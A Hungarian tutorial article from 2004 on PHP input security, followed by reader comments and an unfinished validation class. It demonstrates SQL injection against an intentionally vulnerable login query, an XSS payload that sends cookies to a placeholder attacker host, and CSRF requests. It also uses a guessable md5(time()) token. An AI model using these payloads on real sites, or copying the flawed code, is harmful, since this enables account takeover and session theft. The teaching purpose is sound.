ugrás a tartalomhoz

PHP a frontvonalon, védekezés a bemeneten

Hodicska Gergely · 2004. Jún. 29. (K), 22.00
PHP a frontvonalon, védekezés a bemeneten
Legutóbbi cikkeimben is már a biztonság kérdését feszegettem a munkamenet kezelés kapcsán (Munkamenet kezelés alapjai és Munkamenet kezelés biztonsági kérdései). Ezúttal ezen az ösvényen szeretnék továbbhaladni, és három konkrét támadási móddal megismertetni a kedves olvasót. A cikk olvasása előtt ajánlom sunz hasonló jellegű cikkét (PHP, valamennyire biztonságosabban) mindenkinek, aki elmulasztotta volna, melyben elég széles spektrumban (szerver konfiguráció, programozás technika) kapunk biztonsággal kapcsolatos tanácsokat, ötleteket.

Az ismertetésre kerülő módszerek közül az első kettő sikeressége azon alapszik, hogy programunk nem, vagy nem kellő alapossággal kezeli a külső forrásból származó adatokat. Talán nem hangsúlyozható eléggé, hogy mennyire fontos jelentőséggel bír ezek megfelelő ellenőrzése.

Beérkező adatok megbízhatósága

Alkalmazásunkhoz a böngésző felől GET vagy POST metódussal küldött, illetve sütikben tárolt adatok érkezhetnek, de ezenkívül még számtalan adatforrás elképzelhető. Ezek mindegyikét teljesen megbízhatatlannak kell tartanunk, és mielőtt felhasználnák őket, teljes körű ellenőrzésnek kell alávetni őket. Fontos annak a felismerése, hogy bármilyen kliens oldali ellenőrzés a biztonság szemszögéből tekintve teljesen lényegtelen, inkább csak kényelmi funkciónak tekinthető.

1.) Tegyük fel, hogy alkalmazunk kliens oldali ellenőrzést, de:
  • a felhasználó bármikor letilthatja böngészőjében a JavaScript kódok futtatását, így űrlapunk ellenőrzés nélkül kerül elküldésre.
  • elküldhet egy módosított űrlapot is a szerverünknek. Persze ilyenkor a HTTP_REFERER környezeti változó értéke üres lesz, de igazából ennek meglétére amúgy sem szabad alapozni, mert könnyen akadhat olyan kliens, amely ezt a fejlécet nem, vagy nem igaz adattal tölti ki.
  • ezenkívül a gonosz támadó a böngésző teljes megkerülésével, akár egy sima Telnet program segítségével is kezdeményezhet kommunikációt, és küldhet tetszőleges adatokat programunknak, ráadásul megfelelő HTTP fejlécek (pl. USER_AGENT) megadásával azt is elhitetheti, hogy az adatok egy böngészőből érkeznek.
2.) Gyakori hiba, hogy az URL-eken keresztül érkező adatokkal szemben bizonyos feltételezésekkel élünk (hiszen mi generáltuk őket), de ezek érintetlenségére nem alapozhatunk, azokat a felhasználó bármikor átírhatja, akár ártó szándék nélkül is, és ha programunk erre nincs felkészülve, akkor nem megfelelően inicializált adatok hiányában hibás működést produkálhat.

3.) A felhasználó gépén tárolt sütik tartalma is bármikor módosítható akár egy egyszerű szövegszerkesztő segítségével, így ezek tartalma sem megbízható, csak olyan adatokat tároljunk ilyen formában, melyek illetéktelen megváltoztatása nem okoz gondot. Van a sütiknek egy speciális fajtája, amely csak az adott böngésző példány futásának időtartama alatt él, az úgynevezett munkamenet süti ("session cookie"). Ezek tartalma elvileg nem egy fájlban kerül tárolásra, hanem a böngésző által használt memória területen, de ez erősen függhet az adott böngésző implementációjától, illetve egy kellően felkészült támadó ezt is képes lehet módosítani. Ráadásul, mint már az előbb említettem, mivel ez is a kliens felől érkezik, bármikor tetszés szerint hamisítható.

Beérkező adatok ellenőrzése

Mint láttuk ez alapvető fontosságú, és mivel jóformán minden programunk állandóan ismétlődő része, ezért célszerű ezt általánosan megírni, esetleges használati tapasztalatok alapján folyamatosan csiszolni, így elég hamar egy jól használható eszközhöz jutunk. Egy lehetséges megoldás például a következő lehet:

<?php
   // Definiáljuk, hogy a programunk milyen input adatokat vár
   $values = array(
      'filters' => array(
         'trim' 
      ),
      'values' => array(
         'topicID' => array(
            'rules' => array(
               'required',
               'integer',
               ’between’ => array(0, 10000)
            )
         ),
         'loginName' => array(
            'rules' => array(
               'required',
               'maxLength' => 10,
               'regExp' => '/[A-Z][a-z]+/'
            )
         ),
         'email' => array(
            'rules' => array(
               'required',
               'email' 
            )
         ),
         'message' => array(
            'default' => ’Semmi okos se jut az eszembe, szép napot mindenkinek!’
            'filters' => array(
               'stripHTML' 
            )
         )
      )
   );
   // Input adatok feldolgozása
   if ( true === ($errors = validateInput()) {
      // A $topicID, $name, $email, $message változók megfelelő tartalommal
      // a rendelkezésünkre állnak, nyugodtan használhatjuk őket
   } else {
      // hibakezelés
   }
?>
A várt adatok leírása egy tömbbe kerül. Ennek ’filters’ tömbeleme tartalmazhat olyan szűrőket, melyek minden adat esetén meghívásra kerülnek, például hasznos lehet minden bejövő adat esetén a felesleges szóköz karakterek levágása. A ’values’ tömbelem azt tartalmazza, hogy milyen adatokat vár programunk. Itt megadjuk a változók nevét, illetve különböző szabályokat és szűrőket rendelhetünk hozzájuk. Például megadhatjuk, hogy az adott paraméterre feltétlenül szükségünk van, hogy egy formailag tökéletes e-mail cím legyen, vagy például egész szám 0 és 10 000 között, de akár mintaillesztő kifejezésnek való megfelelést is előírhatunk, stb. Itt jegyezném meg, hogy a webes környezetben fejlesztők számára a mintaillesztő kifejezések használata egy rendkívül hasznos eszköz, mindenféleképpen ajánlom legalább alapszintű megismerését. Ezenkívül az egyes adatokhoz külön szűrőket rendelhetünk.

Esetleg megteremthetjük annak lehetőségét, hogy megadhassuk, hogy az adott paramétert milyen forrásból (GET/POST/süti) várjuk, de ennek igazából értelmét nem látom. Attól nem lesz biztonságosabb az alkalmazásunk, mert egy adott paramétert (amit egy űrlap elküldésével várunk) nem fogadunk el URL-n keresztül átadva, hisz az űrlap maga is hamisítható, az a fontos, hogy a felhasználó által küldött adatokat megfelelően ellenőrizzük, a felhasználó ne tudja alkalmazásunk állapotát (adatbázis, stb.) számára nem megengedett módon változtatni.

A fentebb vázolt lehetőség elsőre feleslegesnek, túlzottan bonyolultnak tűnhet, de nem így van. Egyrészt tapasztalatból mondhatom, amikor már másodjára kell az embernek azzal vesződnie, hogy egy oldal számára küldött adatokat ellenőrizze, egyből érezni kezdi, hogy itt valami általános megoldásra van szükség, ami leveszi ezen állandóan ismétlődő programrészek megírásának terhét, és egy magasabb absztrakciós szintre emeli ezt a folyamatot. Egy ilyen jellegű megközelítéssel elérhetjük, hogy programunk érdemi részére koncentrálhassunk. És ha például ezt a tömböt egy külső fájlba helyezzük, akkor kódunk is lényegesen egyszerűbbé, átláthatóbbá válik.

Másrészt, ha jobban megnézzük, a szűrők segítségével sok hasznos funkciót építhetünk be rendszerünkbe. Például egy fórumhozzászólás esetén az üzenetben nem szeretnénk ha szerepelnének HTML elemek, ezért használjuk a stripHTML szűrőt, amely eltávolítja az adott változóból a HTML elemeket, így a feldolgozás során már ezzel nekünk nem kell törődnünk. A szabályokhoz hasonlóan a szűrőknek is átadhatunk paramétereket, melyek befolyásolják az adott szűrő viselkedését, például a stripHTML szűrőnek megadhatjuk, hogy mely HTML elemeket hagyja mégis a szövegben.

Az ’idegen’ adat

Az ellenőrzés szükségessége triviálisnak tűnik GET/POST/süti forrásból bejövő adatok esetén, de ugyanúgy bizalmatlanok kell legyünk bármilyen külső forrásból származó adat esetén, melyekkel rendszerünk kapcsolatban áll, feldolgoz, megjelenít. Veszélyes lehet akár egy web szolgáltatás által visszaadott XML dokumentum, vagy akár egy e-mail is, aminek tartalmát például webmail rendszerünkben megjelenítjük. És most következzen a már említett három támadási lehetőség.

SQL injection

Ennek a módszernek a lényege, hogy megfelelően formázott bemeneti adatokkal próbálja a támadó (a gonosz :) ) elérni, hogy programunk módosított SQL lekérdezéseket hajtson végre. Lássuk a következő kódrészletet:

<?php
    if (isset($_POST['userName']) && isset($_POST['password'])) {
        mysql_connect("localhost", "user", "pass");
        mysql_select_db("myDb");
        $query = "SELECT 
                     count(*) FROM users 
                  WHERE
                     userName='{$_POST['userName']}'
                     AND 
                     password='{$_POST['password']}'
        ";
        $result = mysql_query($query) or die('Muysql hiba: '.mysql_error());
        if (mysql_num_rows($result) > 0) {
            // sikeres bejelentkezés
            echo ’Isten hozott!’;
        } else {
            // hibás felhasználónév vagy jelszó
            echo ’Sicc innen!’;
        }
    } else {
        echo '
            <form name="login" method="post"> 
                Felhasználónév: <input type="text" name="userName" /> 
                Jelszó: <input type="text" name="password" /> 
                <input type="submit" value="Bejelentkezés" /> 
            </form>
        ';
    }
?>
Jön egy felhasználó, beírja: "Pistike" és "anyu", ennek eredménye a következő lekérdezés lesz:

SELECT count(*) FROM users
WHERE userName = 'Pistike' AND password = 'anyu'
És ez így teljesen jó is, ha van Pisitke nevű felhasználónk anyu jelszóval, akkor engedi belépni. Viszont jön a gonosz felhasználó, aki szeretne Pistike nevében elkövetni valami gazságot és a következőt írja be: "Pistike" és "barmi' OR 1 = '1", ennek eredménye ez lesz:

SELECT count(*) FROM users 
WHERE userName = 'Pistike' AND password = 'barmi' OR 1 = '1'
Ez a lekérdezés bármely felhasználónév megadása esetén igaz lesz, így a támadó sikeresen belép Pistike nevében rendszerünkbe.

Ezen támadási mód alkalmas lehet adatbázis szerkezetünk felderítésére is, illetve annak ismeretében akár a teljes adatbázis, vagy egyes tábláinak törlésére. A módszer lényege, hogy a támadó úgy módosítja a beírtakat, hogy egyéb lekérdezéseket fűz a mi lekérdezésünk végére, és a kapott hibaüzenetek tartalmazzák számára a szükséges információkat. Ha például sikerül megtudnia egy tábla nevét, akkor akár egy DROP táblanév; utasítást is fűzhet a mi lekérdezésünk végére.

Az SQL injection támadások elleni védekezés elemei:
  • bejövő adatok védelme ("escape-elése"). Ha egy mezőbe olyan karaktereket (általában az aposztróf, idézőjel, utasítás határoló jel, megjegyzés jel) szeretnék beszúrni, aminek az adott adatbázis kezelő rendszer esetén speciális jelentése van, akkor ezen karakterek elé egy speciális karaktert (többnyire \) kell tenni, mely jelzi, hogy az őt követő karakter nem bír speciális jelentéssel (ez különbözhet adatbázis motortól függően). Mivel ezen támadási mód lényege, hogy a támadó speciális karaktereket helyez el az bemenetben, ezért az szöveg megvédésével az esetlegesen ártó szándékú tartalmat hatástalanítjuk. Szövegek esetén amúgy is szükséges a megvédés, hiszen a szövegben normál esetben is szerepelhetnek speciális karakterek (gondoljunk csak az O'Reilly névre, vagy a becenevekre, melyeket idézőjelekkel szokás írni).
  • érdemes ahol csak módunkban áll a várt adatok hosszát limitálni, ahol csak lehet dolgozzuk fel a bejövő adatot, ha csak egy szót várunk, akkor dobjuk el az első szóhatároló utáni részt, ha számot várunk, akkor alakítsuk át számmá, ha bármilyen formai elvárásunk van vele kapcsolatban, akkor ellenőrizzük mintaillesztő kifejezésekkel, vagy egyéb módon. Ez a plusz költség a biztonság oldalán megtérül majd.
  • a program által használt adatbázis felhasználó jogait korlátozzuk le amennyire csak lehet, érdemes lehat az oldal adminisztrációs felületéhez külön felhasználót használni, amely rendelkezik ezen felület plusz funkcionalitása által igényelt plusz adatbázis jogokkal.


XSS – Cross Site Scripting

Az XSS támadások alapja az, hogy a támadó megpróbálja ártó szándékú script (főként JavaScript) bejuttatását oldalunkba. Mint már korábban említettem fontos, hogy minden, talán korántsem triviális külső adatforrást megbízhatatlannak minősítsünk. Bármi, amit egy weboldalon megjelenítünk, tartalmazhat ártalmas kódokat. Csak hogy egy alap képet kapjunk, vegyünk például egy webes levelező rendszert. A rosszindulatú felhasználó küldhet egy ilyen tárgyú levelet:

You win 1000$!!!<script>alert('Oh No!');</script>
Ha programunk ezt így ebben a formában jeleníti meg, akkor a tárgyban lévő JavaScript kód le fog futni, és a felhasználó csodálkozni fog, hogy mi is történt. Ez egy ártatlan példa, sokkal bosszantóbb lehet, ha mondjuk egy fórumüzenetbe rejtett JavaScript kóddal átirányítjuk a látogatót egy másik oldalra:

<script>document.location = 'http://azenaranytojasttojoreklamoldalam.hu';</script>
vagy éppenséggel felbukkanó ablakokat nyitunk meg. De ez nem minden, lehetőségünk van ezen technológia felhasználásával a felhasználó számára érzékeny adatok ellopására is. Vegyük például a következő kódot:

<script>
   document.location = 
   'http://gonosz.tamado.hu/cookielopo.php?cookies=' + document.cookie;
</script>
Ha ezt egy adott rendszerbe már belépett felhasználó számára megjelenített oldalra sikerül a támadónak bejuttatnia, akkor a felhasználónak a rendszerhez tartozó domainhez beállított sütijeit a cookielopo.php megkapja. Ezáltal a támadó olyan információk birtokába juthat, mellyel könnyedén visszaéléseket követhet el az adott felhasználó nevében. Például elég gyakori, hogy a munkamenet azonosítót sütiben tárolják, aminek a birtokában a támadó létrehoz a saját gépén egy a megtámadott domainhez tartozó sütit a megszerzett adatok szerint megfelelően kitöltve, majd egyszerűen ellátogat az oldalra, és egyből a lépre csalt felhasználóként lesz bejelentkezve.

Az XSS támadások elleni védekezés alapja szintén a bejövő adatok megfelelő szűrése. Mint láthatjuk, ismét előkerült a szűrés fogalma, érdemes pár szót ejteni arról, hogy ennek felépítése során hogyan érdemes eljárni. A legalapvetőbb szempont, hogy inkább eleinte legyünk szigorúbbak. Például nevek esetén első lépésben csak betűket engedünk meg. Jön egy György-Pál nevű ember, akkor ezen a szabályon enyhítünk egy kicsit és a megengedett karakterek közé felvesszük a – jelet is. Így egy kis idő múlva kellően tökéletessé válik rendszerünk. Az eltúlzott szabályokat a felhasználók egyből jelezni fogják, míg a túlságosan lazákról esetlegesen csak túl későn értesülünk.

CSRF - Cross-Site Request Forgeries

Az előbb ismertetett támadás a látogató weboldal iránti bizalmán alapszik, és így egy támadó által veszélyes tartalommal ellátott weboldalra érkezve úgymond áldozattá válhat. A most bemutatandó technika viszont pont ennek ellenkezője, a weboldal felhasználó iránti bizalmára épül. A CSRF támadás alapja egy meghamisított HTTP kérés, ezért először nézzük meg, hogy hogyan is néz ki egy normál kérés. Mondjuk beírjuk a böngészőnkbe, hogy weblabor.hu. Erre a böngészőnk küld egy kérést a megfelelő webszervernek, ami a következőképpen néz ki:

GET / HTTP/1.1
Host: weblabor.hu
Erre a megszólított webszerver válaszolni fog, és például a következőt küldi:

HTTP/1.1 200 OK
Content-Length: 69

<html>
<img src="http://weblabor.hu/szep_uj_logonk.jpg" />
</html>
A böngészőnk a kapott kód feldolgozása közben észreveszi, hogy neki az oldal megjelenítéséhez szüksége van a szep_uj_logonk.jpg nevű képre, ezért egy újabb kérést küld a webszervernek:

GET /szep_uj_logonk.jpg HTTP/1.1
Host: weblabor.hu
Amire válaszul a szerver odaadja a böngészőnknek a kívánt képet. Ez eddig rendben van, most lássuk, mi történik, amikor egy oldalon (http://uzenofal.hu) a bejelentkezés után (munkamenet azonosító sütibe került) kitöltjük és elküldjük a következő egyszerű üzenetküldő űrlapot.

<html>
    <form action="/uzenet.php">
        Tárgy: <input type="text" name="subject"
        <br>Szöveg: <textarea name="message"></textarea>
        <br><input type="submit" value="Elküldés">
    </form>
</html>
A böngészőnk a következő kérést küldi a webszervernek:

GET /uzenet.php?subject=hat&message=nemistudom HTTP/1.1
Host: uzenofal.hu
Cookie: PHPSESSID=123456789
Láthatjuk, hogy a "kép erőforrás" és "program erőforrás" lekérdezése között semmilyen különbség sincs. Ezt használja ki egy CSRF támadás, és legkedveltebb eszközük egy hamisított kérés küldésére nem más, mint egy HTML img elem. Ha például szeretnénk egy üzenetet küldeni a fenti oldalra egy felhasználó nevében, akkor elegendő őt rávenni, hogy nézzen meg egy oldalt, ami tartalmazza a következő HTML kódot:

<img src="http://uzenofal.hu/uzenet.php?subject=Elvis%20a%20kiraly&message=..." />
Ennek hatására egy teljesen ugyanolyan kérés megy a szerver felé, mintha a weboldalon az Elküldés gombra kattintottunk volna. Ráadásul a felhasználó gépen tárolt sütik is belekerülnek a kérésbe, így az uzenet.php script belépettnek fogja tekinteni a felhasználót és rögzíti az üzenetét. És minderről a felhasználó semmit sem fog tudni, noha a történteknek, akaratlanul ugyan, de cinkos társa.

Ezzel a módszerrel még egy jól megírt munkamenet kezeléssel, felhasználó ellenőrzéssel rendelkező rendszer is kijátszható, ráadásul még akkor is sikeres tud lenni egy ilyen támadás, ha a rendszer elérhetősége korlátozva van. Hiszen a támadást maga az adott funkció elérésére jogosult felhasználó „hajtja végre”.

Nézzük, hogy hogyan is védekezhetünk a CSRF támadások ellen. Először is kézenfekvő megoldás lehet, hogy az űrlapok küldésekor POST metódust használjunk, de ez korántsem elegendő, hiszen egy POST kérés is viszonylag könnyen hamisítható. Elegendő, ha a támadónak sikerül a felhasználót rávennie, hogy kattintson egy képre, linkre, ami mögött egy űrlap elküldése áll, ami egy rejtett űrlap elemben tárolja az POST-olni kívánt adatokat, de még erre sincs feltétlenül szükség, például a következő JavaScript kód dinamikusan állít elő és küld el egy űrlapot:

<script>
   var myInput;
   var form = document.createElement("form");
   form.method = 'post';
   form.action = 'http://uzenofal.hu/uzenet.php';
   var input = document.createElement("input");
   input.type = 'hidden';
   
   document.body.appendChild( form );
   form.method = "post";
   
   myInput = input.cloneNode();
   form.appendChild( myInput );
   myInput.name = "subject";
   myInput.value = "hat";
   
   myInput = input.cloneNode();
   form.appendChild( myInput );
   myInput.name = "message";
   myInput.value = "EljenRakosi";
   
   form.submit();
</script>
POST metódus használata esetén viszont a felhasználó számára nyilvánvaló lehet, hogy valami történt, hisz az űrlap elküldése után az azt feldolgozó oldalra kerül, habár még ez is elkerülhető, ha az űrlap targetje például egy rejtett frame. Valamint az újabb böngészőkben már létezik egy XMLHTTP nevű objektum, amin keresztül kommunikációt folytathatunk észrevétlenül a szerverrel.

A megfelelő védelem részeként érdemes lehet komolyabb súlyú akciók esetén egy az adott akció jóváhagyását kérő lépcsőfok beiktatása, ami POST metódus esetén rendkívül megnehezíti egy sikeres CSRF támadás lehetőségét.

Ezenkívül az is komoly biztonságot nyújthat az ilyen jellegű támadásokkal szemben, ha valamilyen módon azonosítani tudjuk űrlapunkat. Tehát minden alkalommal, amikor egy űrlapot generálunk a felhasználó számára, akkor elrejtünk benne egy azonosítót, amit szerver oldalon is eltárolunk mondjuk a felhasználó munkamenetébe (felülírva az előző ehhez az űrlaphoz tartozó azonosítót), majd amikor egy űrlapot küldenek nekünk, akkor megnézzük, hogy érkezett-e ilyen azonosító. Ha nem, akkor egyből kiderül, hogy valami nem stimmel, ha igen, akkor ellenőrizzük annak valódiságát, és csak ha ebben megbizonyosodtunk, hajtjuk végre a kívánt akciót.

Azonosító elrejtése az űrlapba:

<?php
   $token = md5( time() );
   $_SESSION['token'] = $token;
   echo '
      <html>
         <form action="/uzenet.php">
            <input type="hidden" name="token" value="' . $token . '"
            Tárgy: <input type="text" name="subject"
            <br>Szöveg: <textarea name="message"></textarea>
            <br><input type="submit" value="Elküldés">
         </form>
      </html>
   ';
?>
A CRSF támadás elleni védekezésben ráadásul még megfelelő felhasználói házirend is szerepet játszhat, például előírhatjuk a rendszer felhasználóinak, hogy böngészőjükben tiltsák a "third party" sütik használatát, vagyis az oldal által tartalmazott, de nem az oldal domainjében elhelyezkedő erőforrások lekérésekor a böngésző ne küldje el az erőforrást tartalmazó domain számára esetlegesen korábban bejegyzett sütiket.

Támadás levelezőn keresztül

Egy dolgot még kipróbáltam kíváncsiságból. Az érdekelt volna, hogy amikor egy levelező program megjelenít egy HTML levelet, és a levél tartalmaz külsőleg linkelt képet, akkor webszervernek küldött kérésbe beleteszi-e az adott kép domainjéhez az adott gépen beállított sütiket. A következő egyszerű kis programot használtam:

Levelező program ellenőrző:

<?php
   if (!isset($_COOKIE['felho'])) {
      setcookie('felho', 1, time()+3600);
   } else {
      $cookie = $_COOKIE['felho'];
      $cookie++;
      setcookie('felho', $cookie, time()+3600);
   }
   $FILE = fopen(time().'.txt', 'w');
   fputs($FILE, print_r($_GET, true));
   fputs($FILE, print_r($_COOKIE, true));
   fclose($FILE);
?>
Először böngészőn keresztül hívtam meg a scriptet, hogy beállítsam a sütit, majd küldtem magamnak egy egyszerű HTML levelet a következő tartalommal:

<html>
   <body>
      <img src="http://felho.hu/x.php?x=bela">
      <a href="http://felho.hu/reklam.html">klikk ide</a>
      <!-- a reklam.html-ben is van egy a fentivel megegyező img tag -->
   </body>
</html>
Miután megkaptam a levelet, rákattintottam a linkre. Az Apache access logjában mindkét kérés megjelent, viszont a saját kis logfájljaim tartalma a következő volt:

// a kép lekéresekor generált file 

Array
(
    [x] => bela
)

Array
(
)

// a linkre való kattintás nyomán generált file 

Array
(
    [x] => bela
)

Array
(
    // az értékből következik, hogy a cookie megelőzően már létezett
    [felho] => 10
)
A fenti programot Outlook Express-szel (az IE-t használja HTML levelek megjelenítésére), illetve Mozillával (a levelező a böngészőbe van integrálva) próbáltam ki, mindkét esetben a remélt, megnyugtató működést tapasztaltam: egy levélen keresztül történő támadás csak akkor lehet sikeres, ha a felhasználót sikerül rávenni arra, hogy egy a levélben található linkre rákattintson. Ez azonban nem biztos, hogy így van egy webes levelezőprogramnál, fontos ismernünk tehát ezt a kockázati lehetőséget egy ilyen, vagy számunkra ismeretlen levelezőprogram használatakor. Rengeteg ember levelező programja sajnos úgy van beállítva, hogy a HTML tartalmat egyből megmutassa, de azért már jóval kisebb számú az a botor felhasználó, aki egy linkre rákattint.

Remélem ezúttal is sikerült pár hasznos dologra felhívni a figyelmet, legközelebb a kliens és a szerver közötti, az oldal látszólagos, illetve tényleges újratöltődése nélküli kommunikáció lehetséges megoldásait fogom áttekinteni.
 
1

Hmm

MaDog · 2004. Júl. 1. (Cs), 19.13
Jó a cikk. Gratula hozzá.
Egyébként még annyit hozzá lehetne csapni, hogy nem csak a belépő adatokat érdemes figyelni, hanem a kilépőket is. :)
Pl.:
- nem kiengedni hibaüzeneteket, amik jó kis információkat adhatnak
2

Tovább lehet bontani.

Bártházi András · 2004. Júl. 1. (Cs), 20.13
És még azt is, hogy tovább lehet bontani: az XSS támadás valójában egyáltalán nem a bejövő adatok problémájáról szól, hanem a kiírtakéról. :) Persze azok is belépnek valahol a rendszerbe, de célszerűbb nem feldolgozáskor, tároláskor, hanem az érzékeny helyeken inkább megjelenítéskor megszabadítani a felesleges dolgoktól.

-boogie-
3

Hmm

MaDog · 2004. Júl. 1. (Cs), 20.17
Az XSS-re egymagában is több cikket lehetne szentelni. :)

Amugy meg szerintem bizonyos kimentről tudjuk, hogy minek kell lennie, még néha azt is érdemes rostán átereszteni.
4

[i]Jó a cikk. Gratula hozzá

Hodicska Gergely · 2004. Júl. 2. (P), 10.32
Jó a cikk. Gratula hozzá.
Koszi :)

Egyébként még annyit hozzá lehetne csapni, hogy nem csak a belépő adatokat érdemes figyelni, hanem a kilépőket is. :)
Pl.:
- nem kiengedni hibaüzeneteket, amik jó kis információkat adhatnak

Errol esett szo sunz cikkeben, azert nem emlitettem. Meg hat a hibakezeles is egy olyan tema, amirol lehetne jo sokat irni, mar formalodik is bennem... ;)

Felho
5

Nm. :) Igen tudom, hogy ot

MaDog · 2004. Júl. 2. (P), 10.41
Nm. :)

Igen tudom, hogy ott is szó volt róla, de azért mikor írtad, hogy érdemes készíteni egy olyan megoldást(osztályt pl), amivel a bemenő adatokat lehet vizsgálni résznél gondoltam rá, hogy oda lehetett volna bigyeszteni kis megjegyzésként.

Egyébként én XSS cikk(eken) gondolkodok erősen most, hogy vége a vizsgaszezonnak. :)
6

[i]hogy oda lehetett volna bi

Hodicska Gergely · 2004. Júl. 2. (P), 14.07
hogy oda lehetett volna bigyeszteni kis megjegyzésként
Valamit azert az olvasok is csinaljanak ;)

Egyébként én XSS cikk(eken) gondolkodok erősen most, hogy vége a vizsgaszezonnak. :)
Csak tamogatni tudom az otleted, meg irigyellek a nyari szunet miatt. :)

Felho
7

Hát annyira nyáriszünet, h

MaDog · 2004. Júl. 2. (P), 17.12
Hát annyira nyáriszünet, hogy elmetnem dolgozni. :) De így legalább nem kell délután is tanulni.

- Slackware power -
8

Szia! [i]Egyébként én X

Hodicska Gergely · 2004. Júl. 4. (V), 18.36
Szia!

Egyébként én XSS cikk(eken) gondolkodok erősen most, hogy vége a vizsgaszezonnak. :)
Talaltam egy erdekes dolgot, ennek ha van kedved utana jarhatnal peldaul. PHP5 eseten van lehetoseg input filter hasznalatara (forras->README.input_filter). PHP4 4.3.0-tol felfele is elvileg (http://www.google.com/search?q=php+treat_data++hook) meg lehet oldani, de most nincs idom kiprobalni.
Az egesz ertelme az lenne, hogy bizonyos jellegu ellenorzesek, szuresek nem a programozo felelosegere lennenk bizva, hanem automatikusan vegrehajtasra kerulnenek, es a GPC tombokben mar a szurt adat kerulne bele.

Felho
9

Hmm

MaDog · 2004. Júl. 4. (V), 19.11
Érdekes. Utána nézek és kösz. Amugy az ilyen új funkciók nagyban elősegítik a biztonságosabb PHP programozást.
Amugy el kezdtem már írni a cikket. Csak jól alaposan utána járok mégegyszer, hogy lehetőleg ne írjak nagy hülyeséget.
10

elkezdtem csinalni egy osztalyt...

svan99 · 2005. Feb. 7. (H), 00.27
Nem tudom jo uton haladok e.. valami szakerto megnezhetne.. hogy erdemes e folytatnom... 4-es phpvel nyomulok.. "kezdo" vagyok ugy gondolom.

itt a class (nincs teljesen kesz a rules resze) es a vegen a mintaprg reszlet:

<?php
/**
* @package Validation class
* @author ISTi
* @version 0.0.1 alpha
*/

class validation
{

	var $aParams;
	var $aConditions;
	var $sErrors;
	var $bDebugmode;

	function validation($bDebugmode = true)
	{
		return $this->bDebugmode = $bDebugmode;
	}

	function set_params($aVariables)
	{
		$this->aParams = $aVariables;
	}

	function get_params()
	{
		return $this->aParams;
	}

	function set_conditions($aConditions)
	{
		$this->aConditions = $aConditions;
	}

	function get_conditions()
	{
		return $this->aConditions;
	}

	function store_error($error)
	{
		// basic 0.1 alpha version solution :(
		$this->sErrors[] = $error;
	}

	function validate()
	{
		// on invalid data set this variable to false
		$bIs_ok = true;

		// apply general filter if defined and exists
		if(array_key_exists("filters", $this->aConditions))
		{
			foreach($this->aConditions['filters'] as $iIndex => $sFilter)
			{
				if(function_exists($sFilter))
				{
					foreach($this->aParams as $sVar_name => $var_value)
					{
						$this->aParams[$sVar_name] = $sFilter($var_value);
					}
				}
				else
				{
					if($this->bDebugmode==true)
					{
						die("Non existing function called:".$sFilter." , must repair condition array, general filter section!");
					}
				}
			}
		}

		// check values if needed
		if(array_key_exists("values", $this->aConditions))
		{
			// search for values and check them
			foreach($this->aConditions['values'] as $sVar_name => $sCondition)
			{

				// check existence of the variable
				$bVar_exists = array_key_exists($sVar_name, $this->aParams);

				// check necessity of variable
				if(array_key_exists("rules", $sCondition))
				{
					// required field or optional?
					$bRequired = in_array("required", $sCondition['rules']);
				}
				else
				{
					// no rule, so it is optional
					$bRequired = false;
				}


				// handle filters before rules.. can cause problem against rules...
				if(array_key_exists("filters", $sCondition))
				{
					foreach($sCondition['filters'] as $iIndex => $sFilter)
					{
						if(function_exists($sFilter))
						{
							// apply existing function
							if($bVar_exists==true)
							{
								// exists, apply the filter, attention (!?) can cause problem against rules
								$this->aParams[$sVar_name] = $sFilter($this->aParams[$sVar_name]);
							}
							else
							{
								// not exists cannot apply and...
								if($bRequired==true)
								{
									// required variable
									$this->store_error($sVar_name.' required but not exists... cannot apply its filter');
									$bIs_ok = false;
								}
							}
						}
						else
						{
							if($this->bDebugmode==true)
							{
								die("Non existing function called:".$sFilter." , must repair condition array, value filter section for [".$sVar_name."] variable !");
							}
						}
					}
				}


				// handle rules
				if(array_key_exists("rules", $sCondition))
				{
					// check ruleZ :-)
					if($bRequired==true)
					{
						if($bVar_exists==true)
						{
							// can check rules
							foreach($sCondition as $iIndex => $sRule)
							{
								foreach($sRule as $iIndx => $sType)
								{
									switch($sType)
									{
										case 'string':
										{
											// check length

											// check regexp

											// check must contain

											break;
										}
										case 'integer':
										{
											// check it is a number

											// check between

											// check gt

											// check lt

											break;
										}
										case 'date':
										{
											// check it is date

											break;
										}
										case 'email':
										{
											// check it is a valid email address

											break;
										}
										case 'HUtaxnumber':
										{
											// check it is valid HU tax number

											break;
										}
										case 'EUtaxnumber':
										{
											// check it is valid EU tax number

											break;
										}
										case 'invoicenumber':
										{
											// check it is valid invoice number

											break;
										}
										case 'phone':
										{
											// check it is valid phone number

											break;
										}
										case 'required':
										{
											// should not be empty
											if($this->aParams[$sVar_name]=="")
											{
												$this->store_error("Required variable [".$sVar_name."] is not filled up!");
												$bIs_ok = false;
											}
											break;
										}
										case 'optional':
										{
											// nothing to do :)
											break;
										}
										default:
										{
											if(is_array($sType))
											{
												// if it is an array, should be the other arguments of above listed params
												// probably not an error...
											}
											else
											{
												// not handled type :(
												if($this->bDebugmode==true)
												{
													die("Not handled type [".$sType."] for the variable [".$sVar_name."], please repair condition array!");
												}
											}
											break;
										}
									}
								}
							}
						}
						else
						{
							// cannot check rules
							$this->store_error($sVar_name.' required but not exists... cannot check its rules');
							$bIs_ok = false;
						}
					}
					else
					{
						if($bVar_exists==true)
						{
							// can check rules

						}
						else
						{
							// cannot check rules
							// but no meaning, it is optional variable...
						}
					}

				}
				else
				{
					// no rule, so it is optional
					// nothing to do
				}


				// handle default
				if(array_key_exists("default", $sCondition))
				{

					if($bVar_exists)
					{
						// variable exists
						if($bRequired==false)
						{
							// optional
							if($this->aParams[$sVar_name]=="")
							{
								// empty, so fill up with default
								$this->aParams[$sVar_name]=$sCondition['default'];
							}

						}
						else
						{
							// required
							if($this->aParams[$sVar_name]=="")
							{
								// empty, this is problem
								$this->store_error($sVar_name.' required but empty... should not set default');
								$bIs_ok = false;
							}
						}
					}
					else
					{
						// variable not exists
						if($bRequired==false)
						{
							// optional
							$this->aParams[$sVar_name]=$sCondition['default'];
						}
						else
						{
							// required
							$this->store_error($sVar_name.' required but not exists... cannot set default');
							$bIs_ok = false;
						}
					}
				}

			}
		}


		return $bIs_ok;
	}
}
?>
pl progi

<?php
require_once 'class_validation.php';
$va = new validation();
	$va->set_conditions(

			array(
			
			  'filters' => array(
			               'trim'
			                    ),
			                    
			  'values' => array(
			  
			               'topicID' => array(
			                        'rules' => array(
			                                        'required',
			                                        'integer',
			                                        array('between' => array(0, 10000))
			                                         )
			                              ),
			                              
			             'loginName' => array(
